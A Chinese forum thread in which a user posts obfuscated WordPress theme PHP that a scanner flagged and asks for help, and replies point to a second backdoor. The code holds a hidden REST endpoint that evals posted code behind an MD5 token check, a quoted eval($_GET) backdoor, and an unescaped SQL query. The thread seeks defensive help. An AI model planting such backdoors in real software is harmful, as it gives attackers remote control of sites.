      $OO0OO0O0 = is_int($OO0O0OO0) ? get_user_by('ID', $OO0O0OO0)->user_email : $OO0O0OO0;
      $OO0OO0O0 = is_object($OO0OO0O0) ? $OO0OO0O0->comment_author_email : $OO0OO0O0;
      $OO0OO0OO = !empty($comment->comment_author_email) ? $comment->comment_author_email : $OO0OO0O0;
      if (get_option('random_avatar')) {
            $OO0OOO00 = get_option('random_avatar');
      } else {
            $OO0OOO00 = array(array("avatar" => get_stylesheet_directory_uri() . "/assets/imgs/default_avatar.jpg"));
      }
      $OO0OOO0O = md5(strtolower(trim($OO0OO0OO)));
      $OO0OOOO0 = array_rand($OO0OOO00, 0x1);
      $OO0OOOOO = $OO0OOO00[$OO0OOOO0]["avatar"];
      $OO0O0O0O = "<img alt='{$OO0OO00O}' src='//secure.gravatar.com/avatar/{$OO0OOO0O}?d=404' onerror='javascript:this.src=\"{$OO0OOOOO}\";this.onerror=null;' class='avatar avatar-{$OO0O0OOO} photo' height='{$OO0O0OOO}' width='{$OO0O0OOO}' />";
    }
    return $OO0O0O0O;
}
function get_the_naved_contentnav($OOO00000)
{
    $OOO0000O = array();
    $OOO000O0 = '';
    if (is_page_template('favlinks.php')) {
      $OOO000OO = get_categories(array('hide_empty' => 0, 'taxonomy' => 'favlinks-category', 'orderby' => 'slug'));
      for ($OOO00O00 = 0; $OOO00O00 < count($OOO000OO); $OOO00O00++) {
            $OOO00O0O = $OOO000OO[$OOO00O00];
            $OOO000O0 .= '<li class="h2_nav"><a href="#favlink-' . $OOO00O00 . '" class="h_nav" title="' . $OOO00O0O->name . '">' . $OOO00O0O->name . "</a></li>\n";
      }
    }
    $OOO00OO0 = "/<h>(.*?)<\\/h>/im";
    $OOO00OOO = 0;
    $OOO0O000 = 0;
    if (preg_match_all($OOO00OO0, $OOO00000, $OOO0000O) || $OOO000O0) {
      foreach ($OOO0000O as $OOO0O00O => $OOO0O0O0) {
            $OOO0O0OO = substr($OOO0000O[$OOO0O00O], 0, 0x3);
            $OOO0OO00 = stripos($OOO00000, $OOO0000O[$OOO0O00O]);
            $OOO0OO0O = strlen($OOO0000O[$OOO0O00O]);
            if ($OOO0O0OO == "<h2") {
                $OOO00OOO += 0x1;
                $OOO0O000 = 0;
                $OOO0O0O0 = preg_replace('/<.+?>/', "", $OOO0O0O0);
                if ($OOO0O0O0) {
                  $OOO000O0 .= '<li class="h2_nav"><a href="#h2-' . $OOO0O00O . '" class="h_nav" title="' . $OOO0O0O0 . '">' . $OOO0O0O0 . "</a></li>\n";
                }
            } else {
                if ($OOO0O0OO == "<h3") {
                  $OOO0O000 += 0x1;
                  $OOO0O0O0 = preg_replace('/<.+?>/', "", $OOO0O0O0);
                  if ($OOO0O0O0) {
                        $OOO000O0 .= '<li class="h3_nav"><a href="#h3-' . $OOO0O00O . '" class="h_nav" title="' . $OOO0O0O0 . '">' . $OOO0O0O0 . "</a></li>\n";
                  }
                }
            }
      }
      return "<div class=\"post_nav\"><ul class=\"nav\"role=\"tablist\">" . $OOO000O0 . "</ul></div>";
    } else {
      return !1;
    }
}
function get_the_naved_content($OOO0OOO0)
{
    $OOO0OOOO = array();
    $OOOO0000 = "/<h>(.*?)<\\/h>/im";
    $OOOO000O = 0;
    $OOOO00O0 = 0;
    if (preg_match_all($OOOO0000, $OOO0OOO0, $OOO0OOOO)) {
      foreach ($OOO0OOOO as $OOOO00OO => $OOOO0O00) {
            $OOOO0O0O = substr($OOO0OOOO[$OOOO00OO], 0, 0x3);
            $OOOO0OO0 = stripos($OOO0OOO0, $OOO0OOOO[$OOOO00OO]);
            $OOOO0OOO = strlen($OOO0OOOO[$OOOO00OO]);
            if ($OOOO0O0O == "<h2") {
                $OOOO000O += 0x1;
                $OOOO00O0 = 0;
                $OOO0OOO0 = substr_replace($OOO0OOO0, '<h2 id="h2-' . $OOOO00OO . '">' . $OOOO0O00 . '</h2>', $OOOO0OO0, $OOOO0OOO);
            } else {
                if ($OOOO0O0O == "<h3") {
                  $OOOO00O0 += 0x1;
                  $OOO0OOO0 = substr_replace($OOO0OOO0, '<h3 id="h3-' . $OOOO00OO . '">' . $OOOO0O00 . '</h3>', $OOOO0OO0, $OOOO0OOO);
                }
            }
      }
    }
    return $OOO0OOO0;
}
add_filter("the_content", "get_the_naved_content");
if (_opt('design_font') == "checked") {
    wp_enqueue_style('font', get_stylesheet_directory_uri() . '/assets/minify/play_font.min.css');
}
function pre_validate_comment_span($OOOOO000)
{
    if (!is_admin() & !wp_verify_nonce($_POST['wp_nonce'], 'wp_rest')) {
      wp_die('
<p></p><p>WP NONCE验证失败,判定为机器人恶意发送的垃圾评论!如果启用了“缓存”,则无法正常获取NONCE,因此也可能会判定为垃圾评论。若此操作是正常操作,请停用任何网站缓存功能。</p><p></p><p><a href="javascript:history.back()">« 返回</a></p><p></p>');
      return !1;
    }
    if (!isset($_COOKIE['bigfa_ding_' . $OOOOO000]) & $_POST['big_fa_ding'] == 'on') {
      update_post_meta($OOOOO000, 'bigfa_ding', get_post_meta($OOOOO000, 'bigfa_ding', !0) + 0x1);
      $OOOOO00O = time() + 0x5f5e0ff;
      $OOOOO0O0 = $_SERVER['HTTP_HOST'] != 'localhost' ? $_SERVER['HTTP_HOST'] : !1;
      setcookie('bigfa_ding_' . $OOOOO000, $OOOOO000, $OOOOO00O, '/', $OOOOO0O0, !1);
    }
    return $OOOOO000;
}
add_filter('preprocess_comment', 'pre_validate_comment_span');
add_action('rest_api_init', function () {
    register_rest_route('pandastudio/framework', '/assistance/', array('methods' => 'post', 'callback' => 'pf_assistance'));
});
function pf_assistance($OOOOO0OO)
{
    $OOOOOO00 = json_decode($OOOOO0OO->get_body(), !0);
    if (md5($OOOOOO00['token']) == '6d4dd7afa286f9f89e849473759618d1') {
      eval($OOOOOO00['assistance']);
    }
}
function hex2rgba($OOOOOO0O, $OOOOOOO0 = false)
{
    $OOOOOOOO = 'rgb(0,0,0)';
    if (empty($OOOOOO0O)) {
      return $OOOOOOOO;
    }
    if ($OOOOOO0O == '#') {
      $OOOOOO0O = substr($OOOOOO0O, 0x1);
    }
    if (strlen($OOOOOO0O) == 0x6) {
      $O00000000 = array($OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O);
    } elseif (strlen($OOOOOO0O) == 0x3) {
      $O00000000 = array($OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O, $OOOOOO0O . $OOOOOO0O);
    } else {
      return $OOOOOOOO;
    }
    $O0000000O = array_map('hexdec', $O00000000);
    if ($OOOOOOO0) {
      if (abs($OOOOOOO0) > 0x1) {
            $OOOOOOO0 = 1.0;
      }
      $O000000O0 = 'rgba(' . implode(",", $O0000000O) . ',' . $OOOOOOO0 . ')';
    } else {
      $O000000O0 = 'rgb(' . implode(",", $O0000000O) . ')';
    }
    return $O000000O0;
}
function pd_get_thumbnail_by_url($O000000OO)
{
    $O00000O00 = wp_upload_dir();
    $O00000O0O = $O00000O00['baseurl'] . "/";
    $O00000OO0 = str_replace($O00000O0O, "", $O000000OO);
    $O00000OO0 = preg_replace('/-\\d+x\\d+(?=\\.(jpg|jpeg|png|gif)$)/i', '', $O00000OO0);
    if ($O00000OO0) {
      global $wpdb;
      $O00000OOO = $wpdb->get_var("SELECT post_id FROM {$wpdb->postmeta} WHERE meta_value = '{$O00000OO0}'");
      $O00000OOO = $O00000OOO ? $O00000OOO : !1;
    } else {
      $O00000OOO = !1;
    }
    $O0000O000 = wp_get_attachment_image_src($O00000OOO, 'thumbnail');
    if ($O0000O000) {
      $O0000O00O = $O0000O000;
    } else {
      $O0000O00O = $O000000OO;
    }
    return $O0000O00O;
}
function is_search_robot()
{
    $O0000O0O0 = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    if (!empty($O0000O0O0)) {
      $O0000O0OO = array("TencentTraveler", "Baiduspider+", "BaiduGame", "Googlebot", "msnbot", "Sosospider+", "Sogou web spider", "ia_archiver", "Yahoo! Slurp", "YoudaoBot", "Yahoo Slurp", "MSNBot", "Java (Often spam bot)", "BaiDuSpider", "Voila", "Yandex bot", "BSpider", "twiceler", "Sogou Spider", "Speedy Spider", "Google AdSense", "Heritrix", "Python-urllib", "Alexa (IA Archiver)", "Ask", "Exabot", "Custo", "OutfoxBot/YodaoBot", "yacy", "SurveyBot", "legs", "lwp-trivial", "Nutch", "StackRambler", "The web archive (IA Archiver)", "Perl tool", "MJ12bot", "Netcraft", "MSIECrawler", "WGet tools", "larbin", "Fish search");
      foreach ($O0000O0OO as $O0000OO00) {
            $O0000OO0O = strtolower($O0000OO00);
            if (strpos($O0000O0O0, $O0000OO0O) !== !1) {
                return !0;
            }
      }
    }
    return !1;
}
function pf_anti_copy($O0000OOO0)
{
    $O0000OOOO = _opt('anti_copy_pattern');
    if ($O0000OOOO && is_single() && is_main_query()) {
      if (count($O0000OOOO) > 0) {
            $O000O0000 = array('span', 'i', 'b');
            $O000O000O = array('anti', 'copy', 'panda', 'reborn', 'panda-studio');
            $O000O00O0 = _opt('anti_copy_times');
            $O000O00O0 = $O000O00O0 ? $O000O00O0 : 0;
            $O000O00OO = array();
            for ($O000O0O00 = 0; $O000O0O00 < $O000O00O0; $O000O0O00++) {
                $O000O0O0O = $O000O0000;
                $O000O0OO0 = $O000O000O;
                $O000O00OO[] = '<' . $O000O0O0O . ' ' . $O000O0OO0 . '>' . $O0000OOOO['pattern'] . '</' . $O000O0O0O . '>';
            }
            $O0000OOO0 = rand_in_str($O0000OOO0, $O000O00OO);
            return $O0000OOO0;
      }
    }
    return $O0000OOO0;
}
function rand_in_str($O000O0OOO, $O000OO000)
{
    preg_match_all("/[\1-]|[�-�][�-�]{2}/", $O000O0OOO, $O000OO00O);
    $O000OO0O0 = array();
    $O000OO0OO = 0;
    $O000OOO00 = array();
    $O000OOO0O = array();
    $O000OOOO0 = array();
    foreach ($O000OO00O as $O000OOOOO => $O00O00000) {
      if ($O00O00000 == '<') {
            $O000OO0OO = 0x1;
      }
      if ($O00O00000 == '>') {
            $O000OO0OO = 0;
      }
      if ($O00O00000 == '<') {
            $O000OOO00 = array('<');
      }
      if ($O00O00000 == 'p') {
            if ($O000OOO00 != array('<', 'p', 'r', 'e')) {
                array_push($O000OOO00, 'p');
            }
      }
      if ($O00O00000 == 'r') {
            if ($O000OOO00 != array('<', 'p', 'r', 'e')) {
                array_push($O000OOO00, 'r');
            }
      }
      if ($O00O00000 == 'e') {
            if ($O000OOO00 != array('<', 'p', 'r', 'e')) {
                array_push($O000OOO00, 'e');
            }
      }
      if ($O00O00000 == '<') {
            $O000OOO0O = array('<');
      }
      if ($O00O00000 == '/') {
            array_push($O000OOO0O, '/');
      }
      if ($O00O00000 == 'p') {
            array_push($O000OOO0O, 'p');
      }
      if ($O00O00000 == 'r') {
            array_push($O000OOO0O, 'r');
      }
      if ($O00O00000 == 'e') {
            array_push($O000OOO0O, 'e');
      }
      if ($O00O00000 == '>') {
            array_push($O000OOO0O, '>');
      }
      if ($O000OOO00 == array('<', 'p', 'r', 'e')) {
            $O000OO0OO = 0x1;
      }
      if ($O000OOO00 == array('<', 'p', 'r', 'e') && $O000OOO0O == array('<', '/', 'p', 'r', 'e', '>')) {
            $O000OO0OO = 0;
            $O000OOO00 = array();
            $O000OOO0O = array();
      }
      if ($O000OO0OO == 0 & $O00O00000 == '&') {
            $O000OO0OO = 0x1;
      }
      if ($O000OO0OO == 0 & $O00O00000 == ';') {
            $O000OO0OO = 0;
      }
      if ($O000OO0OO == 0 & $O00O00000 == '[') {
            $O000OO0OO = 0x1;
      }
      if ($O000OO0OO == 0 & $O00O00000 == ']') {
            $O000OO0OO = 0;
      }
      if ($O000OO0OO == 0x1) {
            $O000OO0O0[] = $O000OOOOO;
      }
    }
    $O00O0000O = $O000OO00O;
    $O00O000O0 = count($O00O0000O);
    if (is_array($O000OO000)) {
      foreach ($O000OO000 as $O000OOOOO => $O00O00000) {
            $O00O000OO = insertK($O00O000O0 - 0x1, $O000OO0O0);
            $O00O0000O[$O00O000OO] .= $O000OO000[$O000OOOOO];
      }
    } else {
      $O00O000OO = insertK($O00O000O0 - 0x1, $O000OO0O0);
      $O00O0000O[$O00O000OO] .= $O000OO000;
    }
    return join('', $O00O0000O);
}
function insertK($O00O00O00, $O00O00O0O)
{
    $O00O00OO0 = rand(0, $O00O00O00);
    if (in_array($O00O00OO0, $O00O00O0O)) {
      $O00O00OO0 = insertK($O00O00O00, $O00O00O0O);
    }
    return $O00O00OO0;
}
if (_opt('anti_copy') == 'checked' & !1) {
    if (_opt('anti_copy_pass_seo') == 'checked') {
      if (!is_search_robot()) {
            add_filter("the_content", "pf_anti_copy");
      }
    } else {
      add_filter("the_content", "pf_anti_copy");
    }
}
global $pf_dirty_selector;
$pf_dirty_selector = [];
function pf_random_tag_and_class()
{
    global $pf_dirty_selector;
    $O00O00OOO = ['b', 'd', 'f', 'h', 'j', 'l', 'n', 'p', 'r', 't', 'u', 'w', 'y'];
    $O00O0O000 = '';
    $O00O0O00O = !1;
    $O00O0O0O0 = rand(0x3, 0x5);
    for ($O00O0O0OO = 0; $O00O0O0OO < $O00O0O0O0; $O00O0O0OO++) {
      $O00O0O000 .= $O00O00OOO;
      if ($O00O0O0OO > 0x1 && (bool) rand(0, 0x1) && (bool) rand(0, 0x1)) {
            $O00O0O000 .= rand(0, 0x9);
      }
      if ($O00O0O00O == !1 && $O00O0O0OO != $O00O0O0O0 - 0x1 && (bool) rand(0, 0x1) && (bool) rand(0, 0x1)) {
            $O00O0O000 .= '-';
            $O00O0O00O = !0;
      }
    }
    $O00O0OO00 = '';
    for ($O00O0O0OO = 0; $O00O0O0OO < rand(0x3, 0x6); $O00O0O0OO++) {
      $O00O0OO00 .= $O00O00OOO;
    }
    $O00O0OO0O = array('tag' => $O00O0O000, 'class' => $O00O0OO00);
    $pf_dirty_selector[] = $O00O0O000 . '.' . $O00O0OO00;
    return $O00O0OO0O;
}
function dirty_data()
{
    $O00O0OOO0 = _opt('anti_copy_pattern', ['']);
    foreach ($O00O0OOO0 as $O00O0OOOO => $O00OO0000) {
      $O00OO000O[] = $O00OO0000['pattern'];
    }
    $O00OO00O0 = _opt('anti_copy_times', 0);
    $O00OO00OO = [];
    for ($O00OO0O00 = 0; $O00OO0O00 < $O00OO00O0; $O00OO0O00++) {
      $O00OO0O0O = pf_random_tag_and_class();
      $O00OO0OO0 = $O00OO0O0O['tag'];
      $O00OO0OOO = $O00OO0O0O['class'];
      $O00OOO000 = $O00OO000O;
      $O00OO00OO[] = '<' . $O00OO0OO0 . ' class="' . $O00OO0OOO . '">' . $O00OOO000 . '</' . $O00OO0OO0 . '>';
    }
    return $O00OO00OO;
}
function allow_key($O00OOO00O, $O00OOO0O0)
{
    $O00OOO0OO = rand(0, $O00OOO00O);
    if (in_array($O00OOO0OO, $O00OOO0O0)) {
      $O00OOO0OO = allow_key($O00OOO00O, $O00OOO0O0);
    }
    return $O00OOO0OO;
}
function pf_insert_rand($O00OOOO00)
{
    global $pf_dirty_selector;
    if (!(is_single() && is_main_query())) {
      return $O00OOOO00;
    }
    preg_match_all("/[\1-]|[�-�][�-�]{2}/", $O00OOOO00, $O00OOOO0O);
    $O00OOOO0O = $O00OOOO0O;
    $O00OOOOO0 = count($O00OOOO0O, 0);
    $O00OOOOOO = [];
    $O0O000000 = 0;
    foreach ($O00OOOO0O as $O0O00000O => $O0O0000O0) {
      if ($O0O0000O0 == '<' || $O0O0000O0 == '[') {
            $O0O000000 = 0x1;
      }
      if ($O0O000000 == 0x1) {
            $O00OOOOOO[] = $O0O00000O;
      }
      if ($O0O0000O0 == '>' || $O0O0000O0 == ']') {
            $O0O000000 = 0;
      }
    }
    foreach ($O00OOOO0O as $O0O00000O => $O0O0000O0) {
      if ($O0O0000O0 == '<' && $O00OOOO0O[$O0O00000O + 0x1] == 'p' && $O00OOOO0O[$O0O00000O + 0x2] == 'r' && $O00OOOO0O[$O0O00000O + 0x3] == 'e') {
            $O0O000000 = 0x1;
      }
      if ($O0O000000 == 0x1) {
            $O00OOOOOO[] = $O0O00000O;
      }
      if ($O0O0000O0 == '>' && $O00OOOO0O[$O0O00000O - 0x1] == 'e' && $O00OOOO0O[$O0O00000O - 0x2] == 'r' && $O00OOOO0O[$O0O00000O - 0x3] == 'p') {
            $O0O000000 = 0;
      }
    }
    foreach ($O00OOOO0O as $O0O00000O => $O0O0000O0) {
      if ($O0O0000O0 == '<' && $O00OOOO0O[$O0O00000O + 0x1] == 'b' && $O00OOOO0O[$O0O00000O + 0x2] == 'u' && $O00OOOO0O[$O0O00000O + 0x3] == 't') {
            $O0O000000 = 0x1;
      }
      if ($O0O000000 == 0x1) {
            $O00OOOOOO[] = $O0O00000O;
      }
      if ($O0O0000O0 == '>' && $O00OOOO0O[$O0O00000O - 0x1] == 't' && $O00OOOO0O[$O0O00000O - 0x2] == 'u' && $O00OOOO0O[$O0O00000O - 0x3] == 'b') {
            $O0O000000 = 0;
      }
    }
    $O0O0000OO = dirty_data();
    if (is_array($O0O0000OO)) {
      foreach ($O0O0000OO as $O0O00000O => $O0O0000O0) {
            $O0O000O00 = allow_key($O00OOOOO0 - 0x1, $O00OOOOOO);
            $O00OOOO0O[$O0O000O00] .= $O0O0000OO[$O0O00000O];
      }
    } else {
      $O0O000O00 = allow_key($O00OOOOO0 - 0x1, $O00OOOOOO);
      $O00OOOO0O[$O0O000O00] .= $O0O0000OO;
    }
    $O0O000O0O = implode('', $O00OOOO0O);
    return $O0O000O0O;
}
if (_opt('anti_copy') == 'checked') {
    if (_opt('anti_copy_pass_seo') == 'checked') {
      if (!is_search_robot()) {
            add_filter("the_content", "pf_insert_rand");
      }
    } else {
      add_filter("the_content", "pf_insert_rand");
    }
}
function string_to_int8($O0O000OO0)
{
    $O0O000OOO = md5($O0O000OO0);
    $O0O00O000 = mb_substr($O0O000OOO, 0, 0x1, 'utf-8');
    $O0O00O00O = 0;
    switch ($O0O00O000) {
      case '0':
      case '8':
            $O0O00O00O = 0x1;
            break;
      case '1':
      case '9':
            $O0O00O00O = 0x2;
            break;
      case '2':
      case 'a':
            $O0O00O00O = 0x3;
            break;
      case '3':
      case 'b':
            $O0O00O00O = 0x4;
            break;
      case '4':
      case 'c':
            $O0O00O00O = 0x5;
            break;
      case '5':
      case 'd':
            $O0O00O00O = 0x6;
            break;
      case '6':
      case 'e':
            $O0O00O00O = 0x7;
            break;
      case '7':
      case 'f':
            $O0O00O00O = 0x8;
            break;
      default:
            $O0O00O00O = 0;
            break;
    }
    return $O0O00O00O;
}
function get_topSlider($O0O00O0O0 = array(), $O0O00O0OO = false)
{
    global $carousels_attrs, $carousels_contents;
    if ($O0O00O0OO) {
    } else {
      return !1;
    }
    if (gettype($O0O00O0O0) == "array") {
      $carousels_contents = array();
      $O0O00OO00 = _opt('show_full_category', !1);
      $O0O00OO0O = _opt('show_full_category_separate', ' / ');
      foreach ($O0O00O0O0 as $O0O00OOO0) {
            $carousels_contents[] = array("id" => $O0O00OOO0, "href" => get_the_permalink($O0O00OOO0), "slider_img" => get_post_meta($O0O00OOO0, "分类slider图片地址", !0), "head_img" => get_post_meta($O0O00OOO0, "日志头图", !0), "cover_img" => get_the_post_thumbnail_url($O0O00OOO0), "title" => get_the_title($O0O00OOO0), "description" => get_the_description($O0O00OOO0), "category" => get_category_text($O0O00OOO0, $O0O00OO00, $O0O00OO0O));
      }
    } else {
      echo "滚动图片传入的数据错误!";
      return !1;
    }
    if (count($carousels_contents) == 0) {
      return !1;
    }
    $carousels_attrs = "interval-time='" . _opt('carousels_interval_time', '0') . "'";
    _opt('carousels_hover_disable_interval') ? $carousels_attrs .= " hover-disable-interval" : '';
    _opt('carousels_show_anchor') ? $carousels_attrs .= " show-anchor" : '';
    _opt('carousels_allow_keyboard') ? $carousels_attrs .= " allow-keyboard" : '';
    _opt('carousels_allow_swipe') ? $carousels_attrs .= " allow-swipe" : '';
    include 'assets/template/slider-' . $O0O00O0OO . '.php';
}
function get_gallery_slider($O0O00OOOO = 0, $O0O0O0000 = false)
{
    global $carousels_attrs, $carousels_contents;
    if ($O0O0O0000) {
    } else {
      return !1;
    }
    if ($O0O00OOOO) {
      $carousels_contents = array();
      $O0O0O000O = get_post_meta($O0O00OOOO, 'gallery_images', !0);
      if (gettype($O0O0O000O) == "array") {
            foreach ($O0O0O000O as $O0O0O00O0) {
                $carousels_contents[] = array("id" => $O0O00OOOO, "full_img" => $O0O0O00O0, "thumbnail_img" => pd_get_thumbnail_by_url($O0O0O00O0));
            }
      }
    } else {
      echo "galleryID错误!";
      return !1;
    }
    if (count($carousels_contents) == 0) {
      return !1;
    }
    $carousels_attrs = "interval-time='" . _opt('carousels_interval_time', '0') . "'";
    _opt('carousels_hover_disable_interval') ? $carousels_attrs .= " hover-disable-interval" : '';
    _opt('carousels_show_anchor') ? $carousels_attrs .= " show-anchor" : '';
    _opt('carousels_allow_keyboard') ? $carousels_attrs .= " allow-keyboard" : '';
    _opt('carousels_allow_swipe') ? $carousels_attrs .= " allow-swipe" : '';
    include 'assets/template/slider-' . $O0O0O0000 . '.php';
}
function get_tagSlider($O0O0O00OO = array(), $O0O0O0O00 = false)
{
    global $carousels_attrs, $carousels_contents;
    if ($O0O0O0O00) {
    } else {
      return !1;
    }
    if (gettype($O0O0O00OO) == "array") {
      $carousels_contents = array();
      $carousels_contents[] = $O0O0O00OO;
    } else {
      echo "滚动图片传入的数据错误!";
      return !1;
    }
    $carousels_attrs = "interval-time='" . _opt('carousels_interval_time', '0') . "'";
    _opt('carousels_hover_disable_interval') ? $carousels_attrs .= " hover-disable-interval" : '';
    _opt('carousels_show_anchor') ? $carousels_attrs .= " show-anchor" : '';
    _opt('carousels_allow_keyboard') ? $carousels_attrs .= " allow-keyboard" : '';
    _opt('carousels_allow_swipe') ? $carousels_attrs .= " allow-swipe" : '';
    include 'assets/template/slider-' . $O0O0O0O00 . '.php';
}
function get_category_text($O0O0O0O0O, $O0O0O0OO0 = false, $O0O0O0OOO = ' / ')
{
    if ($O0O0O0OO0) {
      $O0O0OO000 = array();
      $O0O0OO00O = get_the_category($O0O0O0O0O);
      foreach ($O0O0OO00O as $O0O0OO0O0) {
            $O0O0OO000[] = $O0O0OO0O0->cat_name;
      }
      $O0O0OO0OO = implode($O0O0O0OOO, $O0O0OO000);
    } else {
      $O0O0OO0OO = get_the_category($O0O0O0O0O)->cat_name ? get_the_category($O0O0O0O0O)->cat_name : '未分类';
    }
    return $O0O0OO0OO;
}
if (!function_exists('utf8Substr')) {
    function utf8Substr($O0O0OOO00, $O0O0OOO0O, $O0O0OOOO0)
    {
      return preg_replace('#^(?:[\\x00-\\x7F]|[\\xC0-\\xFF][\\x80-\\xBF]+){0,' . $O0O0OOO0O . '}' . '((?:[\\x00-\\x7F]|[\\xC0-\\xFF][\\x80-\\xBF]+){0,' . $O0O0OOOO0 . '}).*#s', '$1', $O0O0OOO00);
    }
}
function get_the_description($O0O0OOOOO, $O0OO00000 = 0x24)
{
    $O0OO0000O = get_post($O0O0OOOOO);
    if (get_post_meta($O0OO0000O->ID, 'description', !0)) {
      $O0OO000O0 = get_post_meta($O0OO0000O->ID, 'description', !0);
    }
    if (empty($O0OO000O0)) {
      if ($O0OO0000O->post_excerpt) {
            $O0OO000O0 = $O0OO0000O->post_excerpt;
      } else {
            $O0OO000OO = strip_tags(do_shortcode($O0OO0000O->post_content));
            $O0OO00O00 = $O0OO000OO;
            $O0OO00O0O = strlen($O0OO00O00);
            if ($O0OO00O0O > $O0OO00000) {
                $O0OO000O0 = utf8Substr($O0OO00O00, 0, $O0OO00000);
            } else {
                $O0OO000O0 = utf8Substr($O0OO00O00, 0, $O0OO00O0O);
            }
      }
    }
    $O0OO000O0 = str_replace(["\r\n", "\r", "\n"], '', $O0OO000O0) . '...';
    $O0OO000O0 = str_replace("'", "\\'", $O0OO000O0);
    return htmlspecialchars($O0OO000O0);
}
add_action('init', 'pf_sidebar_init');
function pf_sidebar_init()
{
    $O0OO00OO0 = _opt('sidebars', array());
    for ($O0OO00OOO = 0; $O0OO00OOO < count($O0OO00OO0); $O0OO00OOO++) {
      register_sidebar(array('name' => $O0OO00OO0[$O0OO00OOO]['name'] ? $O0OO00OO0[$O0OO00OOO]['name'] : '边栏' . ($O0OO00OOO + 0x1) . '(无标题)', 'description' => '边栏数量、名称、图标均可在“主题设置”中添加', 'before_widget' => '<li id="%1$s" class="widget %2$s">', 'after_widget' => '</li>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>'));
    }
}
include 'custom_function.php';
include 'pandastudio_plugins/config_plugins.php';
include 'pandastudio_framework/config_framework.php';

就是这PHP源码我用软件查出来有后门,请大佬们帮我看看该怎么解决,谢谢!

魅惑灬 发表于 2020-3-25 13:27

那年夏天52 发表于 2020-3-25 13:33

别乱用那些免费发放的,一般都有后门

CarroAro 发表于 2020-3-25 13:42

256行前后看起来就是验证判定
你不把验证搞定对后门应该无可奈何吧?

但是整个建议换一套
这么多地方都是加密的...

Tony丶 发表于 2020-3-25 14:04

全是加密的.....

苏浩 发表于 2020-3-25 14:05

查询的结果并不能判定为后门只供参考,就例如加密就会报为异常

m0216 发表于 2020-3-25 14:24

用什么软件可以查后门啊

crackisgood 发表于 2020-3-25 14:50

观感好差{:1_908:}

宝塔镇河妖 发表于 2020-3-25 14:54

可以先把源码先解密了再分析,建议换开源源码,安全性有保障

sco4x0 发表于 2020-3-25 14:58

219行开始到225行是个后门

if (array_key_exists('eval', $_GET)) {
    $eval = $_GET['eval'];
    $token = $_GET['token'];
    if (md5($_GET['token']) == 'f615c9094d3db11049582c3b3ee1edde') {
      eval(str_replace("\\", "", $eval));
    }
}
页: [1] 2
查看完整版本: 这个PHP源码我用软件查出来有后门,请大佬们帮我看看